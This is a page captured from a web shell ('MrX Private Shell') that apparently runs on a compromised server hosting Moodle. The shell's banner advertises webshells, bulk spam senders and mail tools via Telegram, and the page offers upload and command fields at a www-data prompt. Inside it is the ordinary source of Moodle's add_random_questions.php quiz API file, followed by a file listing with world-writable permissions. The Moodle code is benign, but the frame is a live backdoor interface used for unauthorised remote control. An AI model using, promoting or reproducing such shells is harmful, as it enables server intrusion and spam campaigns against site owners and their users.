__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_quiz\external;

defined('MOODLE_INTERNAL') || die();

require_once($CFG->libdir . '/externallib.php');
require_once($CFG->dirroot . '/question/editlib.php');
require_once($CFG->dirroot . '/mod/quiz/locallib.php');

use external_function_parameters;
use external_single_structure;
use external_value;
use external_api;
use core_question\category_manager;
use mod_quiz\question\bank\filter\custom_category_condition;
use mod_quiz\quiz_settings;
use mod_quiz\structure;

/**
 * Add random questions to a quiz.
 *
 * @package    mod_quiz
 * @copyright  2022 Catalyst IT Australia Pty Ltd
 * @author     Nathan Nguyen <nathannguyen@catalyst-au.net>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class add_random_questions extends external_api {

    /**
     * Parameters for the web service function
     *
     * @return external_function_parameters
     */
    public static function execute_parameters(): external_function_parameters {
        return new external_function_parameters (
            [
                'cmid' => new external_value(PARAM_INT, 'The cmid of the quiz'),
                'addonpage' => new external_value(PARAM_INT, 'The page where random questions will be added to'),
                'randomcount' => new external_value(PARAM_INT, 'Number of random questions'),
                'filtercondition' => new external_value(
                    PARAM_TEXT,
                    '(Optional) The filter condition used when adding random questions from an existing category.
                    Not required if adding random questions from a new category.',
                    VALUE_DEFAULT,
                    '',
                ),
                'newcategory' => new external_value(
                    PARAM_TEXT,
                    '(Optional) The name of a new question category to create and use for the random questions.',
                    VALUE_DEFAULT,
                    '',
                ),
                'parentcategory' => new external_value(
                    PARAM_TEXT,
                    '(Optional) The parent of the new question category, if creating one.',
                    VALUE_DEFAULT,
                    0,
                ),
            ]
        );
    }

    /**
     * Add random questions.
     *
     * @param int $cmid The cmid of the quiz
     * @param int $addonpage The page where random questions will be added to
     * @param int $randomcount Number of random questions
     * @param string $filtercondition Filter condition
     * @param string $newcategory add new category
     * @param string $parentcategory parent category of new category
     * @return array result
     */
    public static function execute(
        int $cmid,
        int $addonpage,
        int $randomcount,
        string $filtercondition = '',
        string $newcategory = '',
        string $parentcategory = '',
    ): array {
        [
            'cmid' => $cmid,
            'addonpage' => $addonpage,
            'randomcount' => $randomcount,
            'filtercondition' => $filtercondition,
            'newcategory' => $newcategory,
            'parentcategory' => $parentcategory,
        ] = self::validate_parameters(self::execute_parameters(), [
            'cmid' => $cmid,
            'addonpage' => $addonpage,
            'randomcount' => $randomcount,
            'filtercondition' => $filtercondition,
            'newcategory' => $newcategory,
            'parentcategory' => $parentcategory,
        ]);

        // Validate context.
        $thiscontext = \context_module::instance($cmid);
        self::validate_context($thiscontext);
        require_capability('mod/quiz:manage', $thiscontext);

        // If filtercondition is not empty, decode it. Otherwise, set it to empty array.
        $filtercondition = !empty($filtercondition) ? json_decode($filtercondition, true) : [];

        // Create new category.
        if (!empty($newcategory)) {
            $categorymanager = new category_manager();
            $categoryid = $categorymanager->add_category($parentcategory, $newcategory, '');
            $filter = [
                'category' => [
                    'jointype' => custom_category_condition::JOINTYPE_DEFAULT,
                    'values' => [$categoryid],
                    'filteroptions' => ['includesubcategories' => false],
                ]
            ];
            // Generate default filter condition for the random question to be added in the new category.
            $filtercondition = [
                'qpage' => 0,
                'cat' => "{$categoryid},{$thiscontext->id}",
                'qperpage' => DEFAULT_QUESTIONS_PER_PAGE,
                'tabname' => 'questions',
                'sortdata' => [],
                'filter' => $filter,
            ];
        }

        // Add random question to the quiz.
        [$quiz, ] = get_module_from_cmid($cmid);
        $settings = quiz_settings::create_for_cmid($cmid);
        $structure = structure::create_for_quiz($settings);
        $structure->add_random_questions($addonpage, $randomcount, $filtercondition);
        quiz_delete_previews($quiz);
        quiz_settings::create($quiz->id)->get_grade_calculator()->recompute_quiz_sumgrades();

        return ['message' => get_string('addarandomquestion_success', 'mod_quiz')];
    }

    /**
     * Returns description of method result value.
     *
     * @return external_value
     */
    public static function execute_returns() {
        return new external_single_structure([
            'message' => new external_value(PARAM_TEXT, 'Message', VALUE_OPTIONAL)
        ]);
    }
}

Filemanager

Name Type Size Permission Actions
add_random_questions.php File 6.2 KB 0777
create_grade_item_per_section.php File 4.17 KB 0777
create_grade_items.php File 3.47 KB 0777
delete_grade_items.php File 3.28 KB 0777
delete_overrides.php File 2.86 KB 0777
get_edit_grading_page_data.php File 3.1 KB 0777
get_overrides.php File 3.67 KB 0777
get_reopen_attempt_confirmation.php File 4.07 KB 0777
reopen_attempt.php File 2.78 KB 0777
save_overrides.php File 4.17 KB 0777
submit_question_version.php File 3.48 KB 0777
update_filter_condition.php File 4.22 KB 0777
update_grade_items.php File 3.57 KB 0777
update_slots.php File 5.84 KB 0777
Filemanager